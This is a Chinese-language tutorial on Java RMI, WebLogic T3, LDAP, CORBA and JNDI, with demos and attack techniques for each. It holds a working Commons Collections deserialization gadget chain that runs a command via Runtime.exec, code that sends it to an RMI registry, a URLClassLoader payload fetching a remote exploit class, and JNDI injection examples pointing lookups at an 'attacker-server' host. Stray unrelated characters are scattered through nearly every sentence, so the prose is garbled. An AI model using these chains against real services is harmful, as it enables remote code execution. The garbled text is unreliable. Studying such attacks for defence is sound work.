RMI碧绞、LDAP府框、CORBA與JNDI攻擊

1. RMI

1.1 JAVA RMI

1.1.1 基本概念

RMI(Remote Method Invocation,遠程方法調用)讥邻。遠程方法調用是分布式編程中的一個基本思想迫靖,實現(xiàn)遠程方法調用的技術有CORBA、WebService等(這兩種獨立于編程語言)兴使。RMI則是專門為JAVA設計系宜,依賴JRMP通訊協(xié)議。
RMI可以使我們引用遠程主機上的對象发魄,將JAVA對象作為參數傳遞盹牧,而這些對象要可以被序列化俩垃。就像C語言中有RPC(remote procedure calls )使遠程主機上執(zhí)行C函數并返回結果√ⅲ可以被遠程調用的對象必須實現(xiàn)java.rmi.Remote接口口柳,其實現(xiàn)類必須繼承UnicastRemoteObject類。如果不繼承UnicastRemoteObject類有滑,則需要手工初始化遠程對象跃闹,在遠程對象的構造方法的調用UnicastRemoteObject.exportObject()靜態(tài)方法

import java.rmi.*;

public interface RemoteObject extends Remote { 
    public Widget doSomething( ) throws RemoteException; 
    public Widget doSomethingElse( ) throws RemoteException; 
}

不繼承UnicastRemoteObject類的DEMO

public class HelloImpl implements IHello {//IHello是客戶端和服務端公用接口
    protected HelloImpl() throws RemoteException {
        UnicastRemoteObject.exportObject(this, 0);
    }
    @Override
    public String sayHello(String name) {//HelloImpl是一個服務端遠程對象,提供了一個sayHello方法供遠程調用毛好。
        System.out.println(name);
        return name;
    }
}

1.1.2 RMI遠程調用過程

RMI對于遠程對象是將其Stub(類似引用/代理望艺,包含遠程對象的定位信息,如Socket端口肌访、服務端主機地址等)傳遞找默。客戶端可以像調用本地方法一樣通過Stub調用遠程方法吼驶。


RMI遠程調用邏輯

客戶端發(fā)起請求惩激,請求轉交至RMI客戶端的stub類,stub類將請求的接口蟹演、方法咧欣、參數等信息進行序列化,然后基于tcp/ip將序列化后的流傳輸至服務器端轨帜,轉至skeleton類,該類將請求的信息反序列化后調用實際的類進行處理衩椒,然后再將處理結果返回給skeleton類蚌父,skeleton類將結果序列化,通過tcp/ip將流傳送給客戶端的stub毛萌,stub接收到流后將其反序列化苟弛,再將反序列化后的Java Object返回給調用者。

(1)Stub獲取方式
Stub的獲取方式有很多阁将,常見的方法是調用某個遠程服務上的方法膏秫,向遠程服務獲取存根。但是調用遠程方法又必須先有遠程對象的Stub做盅,所以這里有個死循環(huán)問題缤削。JDK提供了一個RMI注冊表(RMIRegistry)來解決這個問題。RMIRegistry也是一個遠程對象吹榴,默認監(jiān)聽在1099端口上亭敢,可以使用代碼啟動RMIRegistry,也可以使用rmiregistry命令图筹。要注冊遠程對象帅刀,需要RMI URL和一個遠程對象的引用让腹。

IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);//人工創(chuàng)建RMI注冊服務
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);

LocateRegistry.getRegistry()會使用給定的主機和端口等信息本地創(chuàng)建一個Stub對象作為Registry遠程對象的代理,從而啟動整個遠程調用邏輯扣溺。服務端應用程序可以向RMI注冊表中注冊遠程對象骇窍,然后客戶端向RMI注冊表查詢某個遠程對象名稱,來獲取該遠程對象的Stub锥余。
(2)遠程調用邏輯

Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
RMI調用流程

(3)動態(tài)加載類
RMI核心特點之一就是動態(tài)加載類腹纳,如果當前JVM中沒有某個類的定義,它可以從遠程URL去下載這個類的class哈恰,java.rmi.server.codebase屬性值表示一個或多個URL位置只估,可以從中下載本地找不到的類,相當于一個代碼庫着绷。動態(tài)加載的對象class文件可以使用Web服務的方式(如http://蛔钙、ftp://、file://)進行托管荠医∮跬眩客戶端使用了與RMI注冊表相同的機制。RMI服務端將URL傳遞給客戶端彬向,客戶端通過HTTP請求下載這些類兼贡。

無論是客戶端還是服務端要遠程加載類,都需要滿足以下條件:
a.由于Java SecurityManager的限制娃胆,默認是不允許遠程加載的遍希,如果需要進行遠程加載類,需要安裝RMISecurityManager并且配置java.security.policy里烦,這在后面的利用中可以看到凿蒜。
b.屬性 java.rmi.server.useCodebaseOnly 的值必需為false。但是從JDK 6u45胁黑、7u21開始废封,java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時丧蘸,將禁用自動加載遠程類文件漂洋,僅從CLASSPATH和當前虛擬機的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止虛擬機從其他Codebase地址上動態(tài)加載類力喷,增加了RMI ClassLoader的安全性刽漂。

(4)JAVA RMI Demo

//接口
public interface Hello extends Remote {
    public String echo(String message) throws RemoteException;
}
//接口類實現(xiàn)
public class HelloImpl implements Hello {
    @Override
    public String echo(String message) throws RemoteException {
        if ("quit".equalsIgnoreCase(message.toString())) {
            System.out.println("Server will be shutdown!");
            System.exit(0);
        }
        System.out.println("Message from client: " + message);
        return "Server response:" + message;
    }
}
//server端
public class Server {
    public static void main(String[] args) throws Exception {
        String name = "hello";
        Hello hello = new HelloImpl();
        // 生成Stub
        UnicastRemoteObject.exportObject(hello, 1199);
        /*
        設置java.rmi.server.codebase
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        如果需要使用RMI的動態(tài)加載功能,需要開啟RMISecurityManager冗懦,并配置policy以允許從遠程加載類庫
        System.setProperty("java.security.policy", Server.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);
         */
        // 創(chuàng)建本機 1099 端口上的RMI registry
        Registry registry = LocateRegistry.createRegistry(1199);
        //如果registry已存在
        Registry reg = LocateRegistry.getRegistry();
        // 對象綁定到注冊表中
        registry.rebind(name, hello);
    }
}
//client端
public class Client {
    public static void main(String[] args) throws Exception {
        // 獲取遠程主機上的注冊表
        Registry registry = LocateRegistry.getRegistry("localhost", 1199);
        String name = "hello";
        // 獲取遠程對象
        Hello hello = (Hello) registry.lookup(name);
        while (true) {
            Scanner sc = new Scanner(System.in);
            String message = sc.next();
            // 調用遠程方法
            hello.echo(message);
            if (message.equals("quit")) {
                break;
            }
        }
    }
}

1.2 JAVA RMI與Weblogic RMI

RMI是基于JRMP協(xié)議的爽冕,而Weblogic RMI是基于T3協(xié)議(也有基于CORBA的IIOP協(xié)議)。WebLogic RMI是WebLogic對Java RMI的實現(xiàn)披蕉,它們之間的不同在于(1)WebLogic的字節(jié)碼生成功能會自動生成服務端的字節(jié)碼到內存颈畸。不再生成Skeleton骨架對象乌奇,也不需要使用UnicastRemoteObject對象(2)在WebLogic RMI 客戶端中,字節(jié)碼生成功能會自動為客戶端生成代理對象眯娱,因此Stub也不再需要礁苗。
T3傳輸協(xié)議是WebLogic的自有協(xié)議,它有如下特點:(1)服務端可以持續(xù)追蹤監(jiān)控客戶端是否存活(心跳機制)徙缴,通常心跳的間隔為60秒试伙,服務端在超過240秒未收到心跳即判定與客戶端的連接丟失。(2)通過建立一次連接可以將全部數據包傳輸完成于样,優(yōu)化了數據包大小和網絡消耗疏叨。

1.2.1 Weblogic RMI Demo

和RMI類似,先創(chuàng)建服務端對象接口和實現(xiàn)類

public interface IHello extends java.rmi.Remote {
    String sayHello() throws RemoteException;
}
public class HelloImpl implements IHello {
    public String sayHello() {
        return "Hello Remote World!!";
    }
}

上文提到穿剖,服務端不再需要Skeleton對象和UnicastRemoteObject對象蚤蔓,服務端代碼如黃框所示。


server端對比

客戶端中也不再需要stub


client端對比

1.2.2 Weblogic T3 協(xié)議

RMI的Client與Service交互采用JRMP協(xié)議糊余,而Weblogic RMI采用T3協(xié)議

T3協(xié)議數據包

WebLogic RMI調用時T3協(xié)議握手后的數據包秀又,包含不止一個序列化魔術頭(0xac 0xed 0x00 0x05),每個序列化數據包前面都有相同的二進制串(0xfe 0x01 0x00 0x00)贬芥,每個數據包上面都包含了一個T3協(xié)議頭吐辙,前4個字節(jié)正好對應著數據包長度

1.3 RMI反序列化漏洞

RMI使用反序列化機制來傳輸Remote對象,那么如果是個惡意的對象蘸劈,在服務器端進行反序列化時便會觸發(fā)反序列化漏洞昏苏。如果此時服務端存在Apache Commons Collections這種庫,就會導致遠程命令執(zhí)行威沫。即Runtime.getRuntime().exec(“calc”)等語句捷雕。
該庫中含有一個接口類叫做Tranesformer,其實現(xiàn)類有ChainedTransformer壹甥、ConstantTransformer、InvokerTransformer壶熏、CloneTransformer句柠、ClosureTransformer、ExceptionTransformer棒假、FactoryTransformer溯职、InstantiateTransformer、MapTransformer帽哑、NOPTransformer谜酒、PredicateTransformer、StringValueTransformer妻枕、SwitchTransformer僻族。前三個可以在反序列化攻擊中進行利用粘驰,其本身功能及關鍵代碼如下

//InvokerTransformer構造函數接受三個參數,并通過反射執(zhí)行一個對象的任意方法
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    public Object transform(Object input) {
         Class cls = input.getClass();
         Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
         return method.invoke(input, this.iArgs);
    }
//ConstantTransformer構造函數接受一個參數述么,并返回傳入的參數
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return this.iConstant;
    }
//ChainedTransformer構造函數接受一個Transformer類型的數組蝌数,并返回傳入數組的每一個成員的Transformer方法
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }

將上述函數組合起來構造遠程命令執(zhí)行鏈

Transformer[] transformers_exec = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform('1');

那么接下來的問題就是,真實環(huán)境中如何觸發(fā)ChainedTransformer.transform度秘,有兩個類調用了transform方法顶伞,LazyMap和TransformedMap。TransformedMap中的調用流程為setValue ==> checkSetValue ==> valueTransformer.transform(value)剑梳,所以如果用TransformedMap調用transform方法唆貌,需要生成一個TransformedMap然后修改Map中的value值即可觸發(fā),上述執(zhí)行鏈添加如下部分

Transformer chainedTransformer = new ChainedTransformer(transformers_exec);
Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

如果用LazyMap調用transform方法垢乙,調用流程為get==>factory.transform(key)锨咙,但是這些也還是需要手動調用去修改值。要自動觸發(fā)需要執(zhí)行readObject()方法侨赡,所用的類為AnnotationInvocationHandler蓖租,該類是JAVA運行庫中的一個類,這個類有一個成員變量memberValues是Map類型羊壹,并且類中的readObject()函數中對memberValues的每一項調用了setValue()函數蓖宦,完整代碼如下

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map inMap = new HashMap();//創(chuàng)建一個含有Payload的惡意map
        inMap.put("key", "value");
        Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//創(chuàng)建一個含有惡意調用鏈的Transformer類的Map對象

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//獲取AnnotationInvocationHandler類對象
        Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//獲取AnnotationInvocationHandler類的構造方法
        ctor.setAccessible(true); // 設置構造方法的訪問權限
        Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });

        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(instance);
        oos.flush();
        oos.close();

        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 觸發(fā)代碼執(zhí)行
        Object newObj = ois.readObject();
        ois.close();

在RMI中利用,即在反序列化基礎上油猫,加入如下代碼

        InvocationHandler h = (InvocationHandler) instance;// 實例化AnnotationInvocationHandler
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[]{Remote.class},
                h));
        try{
            Registry registry = LocateRegistry.getRegistry(port);
            registry.rebind("hello", r); // r is remote obj
        }
        catch (Throwable e) {
            e.printStackTrace();
        }

另外對于RMI服務攻擊稠茂,可以使用URLClassLoader方法回顯。
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");

2. LDAP

LDAP(Lightweight Directory Access Protocol 情妖,輕型目錄訪問協(xié)議)是一種目錄服務協(xié)議睬关,運行在TCP/IP堆棧之上。目錄服務是一個特殊的數據庫毡证,用來保存描述性的电爹、基于屬性的詳細信息(如企業(yè)員工信息:姓名、電話料睛、郵箱等丐箩,公用證書、安全密鑰恤煞、物理設備信息等)屎勘,能進行查詢、瀏覽和搜索居扒,以樹狀結構組織數據概漱。LDAP以樹結構標識所以不能像表格一樣用SQL語句查詢,它“讀”性能很強喜喂,但“寫”性能較差瓤摧,并且沒有事務處理竿裂、回滾等復雜功能,不適于存儲修改頻繁的數據姻灶。
LDAP目錄和RMI注冊表的區(qū)別在于是前者是目錄服務铛绰,并允許分配存儲對象的屬性。

2.1 LDAP基本概念

條目Entry
條目也叫記錄項产喉,就像數據庫中的記錄捂掰。是LDAP增刪改查的基本對象。
dn(distinguished Name曾沈,唯一標識名)这嚣,每個條目都有一個唯一標識名∪悖可以看作對象的全路徑姐帚,RDN則是其中的一段路徑(靠前的一段),剩余路徑則成為父標識(PDN)障涯。
屬性Attribute
每個條目都有很多屬性(Attribute)罐旗,每個屬性都有名稱及對應的值。屬性包含cn(commonName姓名)唯蝶、sn(surname姓)九秀、ou(organizationalUnitName部門名稱)、o(organization公司名稱)等粘我。每個屬性也都有唯一的屬性類型鼓蜒。
對象類ObjectClass
對象類(ObjectClass)是屬性的集合,包含結構類型(Structural)征字、抽象類型(Abstract)和輔助類型(Auxiliary)等都弹。比如單位職工類可能包含姓sn、名cn匙姜、電話telephoneNumber等畅厢。模式(Schema)則是對象類的集合。

LDAP目錄結構

2.2 LDAP攻擊

    <dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>2.3.8</version>
    </dependency>
public class LDAPSeriServer {

      private static final String LDAP_BASE = "dc=example,dc=com";
      public static void main(String[] args) throws IOException {
          int port = 1389;
          try {
              InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
              config.setListenerConfigs(new InMemoryListenerConfig(
                      "listen", //$NON-NLS-1$
                      InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                      port,
                      ServerSocketFactory.getDefault(),
                      SocketFactory.getDefault(),
                      (SSLSocketFactory) SSLSocketFactory.getDefault()));
              config.setSchema(null);
              config.setEnforceAttributeSyntaxCompliance(false);
              config.setEnforceSingleStructuralObjectClass(false);
              InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
              ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
              ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
              ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

              System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
              ds.startListening();

          } catch (Exception e) {
              e.printStackTrace();
          }
      }
  }
  public class LDAPClient1 {
      public static void main(String[] args) throws NamingException {
          System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
          Context ctx = new InitialContext();
          Object object =  ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
      }
  }

3. CORBA

3.1 CORBA概述

CORBA全稱(Common ObjectRequest Broker Architecture)也就是公共對象請求代理體系結構氮昧,是OMG(對象管理組織或详,一個非盈利性的計算機行業(yè)標準協(xié)會)制定的一種標準的面向對象應用程序體系規(guī)范。其提出是為了解決不同應用程序間的通信郭计,曾是分布式計算的主流技術。
CORBA標準主要分為三個部分椒振,IDL(接口語言)昭伸、ORB(對象請求代理)、IIOP(ORB之間的操作協(xié)議)澎迎。
其結構主要分為三部分:naming service庐杨、client side选调、servant side。它們的關系可以理解成目錄(naming service)與章節(jié)內容(servant side)的關系灵份,內容需要現(xiàn)在目錄里進行注冊仁堪。
CORBA和Java都采用面向對象技術,并且都適用于開發(fā)分布式應用填渠,所不同的是:CORBA偏重于通用的分布式應用開發(fā)弦聂,而Java注重于WWW環(huán)境中的分布式應用開發(fā)。

3.2 基礎概念

IDL(Interface Definition Language氛什,接口定義語言)莺葫,它是一種與編程語言無關的對于接口描述的規(guī)范,實現(xiàn)跨語言跨環(huán)境遠程對象調用枪眉。CORBA用的就是基于IDL的OMG IDL(對象管理標準化接口定義語言)

CORBA中的“ORB”(ObjectRequest Broker捺檬,對象請求代理)是一個中間件/代理,建立起服務端與客戶端的關系調用贸铜。對象可以在本地也可以在其他服務器上堡纬,ORB截獲客戶的調用操作,并查找實現(xiàn)服務的對象蒿秦,傳遞參數烤镐,調用方法并返回結果涩咖。

GIOP(General Inter-ORB Protocol 蘸炸,通用對象請求協(xié)議),是CORBA用來進行數據傳輸的協(xié)議济榨,針對不同的通訊層有不同的實現(xiàn)鹊杖。而對于TCP/IP層悴灵,其實現(xiàn)名為IIOP(Internet Inter-ORB Protocol),也可以說IIOP是通過TCP協(xié)議傳輸的GIOP數據骂蓖。

3.3 Demo

3.3.1 過程分析

naming service
ORBD可以理解為ORB的守護進程积瞒,其主要負責建立客戶端(client side)與服務端(servant side)的關系,同時負責查找指定的IOR(可互操作對象引用登下,是一種數據結構茫孔,是CORBA標準的一部分)。ORBD是由Java原生支持的一個服務被芳,其在整個CORBA通信中充當著naming service的作用缰贝。

CORBA流程

IOR
IOR是一種數據結構,提供關于類型畔濒、協(xié)議支持和可用ORB服務的信息剩晴。它通常提供獲取對象的初始引用的方法,可以是命名服務(naming service)、事務服務(transaction services)赞弥,也可以是定制的CORBA服務毅整。

IOR結構

Stub生成
Stub有很多種生成方式,如:
(1)獲取NameServer然后后通過resolve_str()方法生成(NameServer生成方式)

Properties properties = new Properties();
properties.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1");
properties.put("org.omg.CORBA.ORBInitialPort", "1050");
ORB orb = ORB.init(args, properties);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
String name = "Hello";
helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));

(2)使用ORB.string_to_object生成(ORB生成方式)

//第一種
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
//第二種
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));

(3)使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));

3.3.2 Helloworld Demo

如果要開發(fā)一個CORBA的Helloworld绽左,創(chuàng)建一個helloworld.idl

//helloworld.idl
module helloworld{ //module對應了java中的package
   interface HelloWorld{
      string sayHello();
   };
};

在java命令行下執(zhí)行idlj -fall helloworld.idl將IDL語言翻譯成JAVA語言悼嫉,生成server和client端代碼,然后會生成_HelloWorldStub.java(實現(xiàn)了HelloWorld接口)拼窥、HelloWorld.java(未實現(xiàn)接口)戏蔑、HelloWorldHelper.java(包含幫助函數,用于處理通過網絡傳輸的對象)闯团、HelloWorldHolder.java辛臊、HelloWorldOperations.java(IDL聲明的接口)、HelloWorldPOA.java(server的實現(xiàn)接口)房交。POA(Portable Object Adapter)彻舰,是CORBA規(guī)范的一部分,該類中的方法可以將對象注冊到naming service上候味。

public class HelloServer {
    public static void main(String[] args) throws ServantNotActive, WrongPolicy, InvalidName, AdapterInactive, org.omg.CosNaming.NamingContextPackage.InvalidName, NotFound, CannotProceed {
        //指定ORB的端口號 -ORBInitialPort 1050
        args = new String[2];
        args[0] = "-ORBInitialPort";
        args[1] = "1050";
         
        //創(chuàng)建一個ORB實例
        ORB orb = ORB.init(args, null);
         
        //拿到RootPOA的引用刃唤,并激活POAManager,相當于啟動了server
        org.omg.CORBA.Object obj=orb.resolve_initial_references("RootPOA");
        POA rootpoa = POAHelper.narrow(obj);
        rootpoa.the_POAManager().activate();
         
        //創(chuàng)建一個HelloWorldImpl實例
        HelloWorldImpl helloImpl = new HelloWorldImpl();
        
        //從服務中得到對象的引用白群,并注冊到服務中
        org.omg.CORBA.Object ref = rootpoa.servant_to_reference(helloImpl);
        HelloWorld href = HelloWorldHelper.narrow(ref);
         
        //得到一個根名稱的上下文
        org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
        NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
        
        //在命名上下文中綁定這個對象
        String name = "Hello";
        NameComponent path[] = ncRef.to_name(name);
        ncRef.rebind(path, href);
        
        //啟動線程服務尚胞,等待客戶端調用
        orb.run();
        
        System.out.println("server startup...");
    }
public class HelloClient {
    static HelloWorld helloWorldImpl;
     
    static {
        //初始化ip和端口號,-ORBInitialHost 127.0.0.1 -ORBInitialPort 1050
        String args[] = new String[4];
        args[0] = "-ORBInitialHost";
        //server端的IP地址帜慢,在HelloServer中定義的
        args[1] = "127.0.0.1";
        args[2] = "-ORBInitialPort";
        //server端的端口笼裳,在HelloServer中定義的
        args[3] = "1050";
         
        //創(chuàng)建一個ORB實例
        ORB orb = ORB.init(args, null);
         
        // 獲取根名稱上下文
        org.omg.CORBA.Object objRef = null;
        try {
        objRef = orb.resolve_initial_references("NameService");
        } catch (InvalidName e) {
            e.printStackTrace();
        }
        NamingContextExt neRef = NamingContextExtHelper.narrow(objRef);
         
        String name = "Hello";
        try {
            //通過ORB拿到了server實例化好的實現(xiàn)類
            helloWorldImpl = HelloWorldHelper.narrow(neRef.resolve_str(name));
        } catch (NotFound e) {
            e.printStackTrace();
        } catch (CannotProceed e) {
            e.printStackTrace();
        } catch (org.omg.CosNaming.NamingContextPackage.InvalidName e) {
            e.printStackTrace();
        }
    }
     
    public static void main(String args[]) throws Exception {
        sayHello();
    }
     
    //調用實現(xiàn)類的方法
    public static void sayHello() {
        String str = helloWorldImpl.sayHello();
        System.out.println(str);
    }

4. JNDI

4.1 JNDI基本概念

JNDI(Java Naming and DIrecroty Interface),是java命名與目錄接口粱玲,JNDI包括Naming Service和Directory Service躬柬,通過名稱來尋找數據和對象的API,也稱為一種綁定抽减。JNDI可訪問的現(xiàn)有的目錄及服務有:JDBC允青、LDAP、RMI卵沉、DNS颠锉、NIS、CORBA史汗。

//web.xml
<Environment name="jndiName" value="jndiValue" type="java.lang.String" />
//index.jsp
  <%
      Context ctx=new InitialContext();
      String testjndi=(String) ctx.lookup("java:comp/env/jndiName");
      out.print(testjndi);
  %>

Naming Service:命名服務是將名稱與值相關聯(lián)的實體琼掠,稱為綁定。通過find/search操作根據名稱查找對象停撞。上述的RMI Registry就是使用的Naming Service瓷蛙。
Directory Service:是一種特殊的Naming Service,允許存儲和搜索“目錄對象”,目錄對象可以與屬性相關聯(lián)速挑。一個目錄是一個類似樹的分層結構庫。LDAP就是用的Directory Service副硅。

4.2 RMI與JNDI

JNDI提供了與不同類型的服務交互的公共接口姥宝。但其自身不區(qū)分客戶端和服務端,也不具備遠程能力恐疲。JNDI在客戶端上主要進行訪問腊满、查詢和檢索等,在服務端主要進行配置管理等培己,比如在RMI服務端上不直接使用Registry進行bind而使用JNDI統(tǒng)一管理碳蛋。
JNDI架構如下圖,Naming Manager包含用于創(chuàng)建上下文對象和對象的靜態(tài)方法省咨。服務器提供者接口(SPI)允許JNDI管理不同的服務肃弟。


JNDI Architecture
JNDI Remote Class Loading

JNDI接口在初始化時,可以將RMI URL作為參數傳入零蓉,而JNDI注入就出現(xiàn)在客戶端的lookup()函數中笤受,如果lookup()的參數可控就可能被攻擊

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider對應的Factory
env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test")

//將名稱refObj與一個對象綁定,這里底層也是調用的rmi的registry去綁定
ctx.bind("refObj", new RefObject());
//通過名稱查找對象
ctx.lookup("refObj");

在JNDI服務中敌蜂,RMI服務端除了直接綁定遠程對象之外(JAVA序列化傳輸對象到遠程服務器)箩兽,還可以通過命名引用的方式通過綁定,由命名管理器進行解析的一個引用章喉。引用由References類來綁定一個外部的遠程對象(當前名稱目錄系統(tǒng)之外的對象)汗贫。綁定了Reference之后,服務端會先通過Referenceable.getReference()獲取綁定對象的引用秸脱,并且在目錄中保存落包。當客戶端在lookup()查找這個遠程對象時,客戶端會獲取相應的object factory撞反,最終通過factory類將reference轉換為具體的對象實例妥色。

Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);

4.3 JNDI動態(tài)協(xié)議轉換

JNDI除了與RMI搭配使用,還可以與LDAP遏片、CORBA等嘹害,JNDI與LDAP配合使用方式如下:

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
 "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);
//通過名稱查找遠程對象,假設遠程服務器已經將一個遠程對象與名稱cn=foo,dc=test,dc=org綁定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

這是手動設置服務工廠及PROVIDER_URL的方式吮便,JNDI還提供協(xié)議的動態(tài)轉換笔呀,即使我們不設置上述內容,如果ctx.lookup("rmi://attacker-server/refObj");執(zhí)行便自動轉換對應服務髓需。

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:9999");
Context ctx = new InitialContext(env);
String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通過名稱查找對象
ctx.lookup(name);

此處的lookup中的參數如果可控就可以根據攻擊者提供的URL進行動態(tài)轉換许师。

4.4 JDNI注入

JNDI注入是BlackHat 2016(USA)@pentester 的一個議題"A Journey From JNDI LDAP Manipulation To RCE"提出的。

根據上述demo可以發(fā)現(xiàn)JNDI注入流程是(以RMI為例),如果目標代碼中調用了InitialContext.lookup(URI)微渠,且URI為用戶可控->攻擊者控制URI參數為惡意的RMI服務地址搭幻,如:rmi://hacker_rmi_server//name->攻擊者RMI服務器向目標返回一個Reference對象,Reference對象中指定某個精心構造的Factory類->目標在進行l(wèi)ookup()操作時逞盆,會動態(tài)加載并實例化Factory類檀蹋,接著調用factory.getObjectInstance()獲取外部遠程對象實例;->攻擊者可以在Factory類文件的構造方法云芦、靜態(tài)代碼塊俯逾、getObjectInstance()方法等處寫入惡意代碼,達到RCE的效果舅逸。調用鏈為:RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()

JNDI主要的攻擊向量有:RMI桌肴、JNDI Reference、Remote Object琉历、LDAP坠七、Serialized Object、JNDI Reference善已、Remote Location灼捂、CORBA、IOR


JNDI in action

(1)JNDI Reference+RMI

public class RMIServer1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(9999);
//        Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName為類名加上包名换团,F(xiàn)actoryClassName為工廠類名并且包含工廠類的包名
        Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}
public class RMIClient1 {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                 "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://localhost:9999");
        Context ctx = new InitialContext();
        ctx.lookup("rmi://localhost:9999/refObj");
    }
}

當運行l(wèi)ookup函數時悉稠,RegistryContext.decodeObject() 會被調用,然后調用NamingManager.getObjectInstance() 進行實例化艘包,最終返回Reference的猛,然后getObjectFactoryFromReference() 會從Reference中得到實例化的類。攻擊者可以提供自己的工廠類想虎,一旦實例化就會運行payload卦尊。

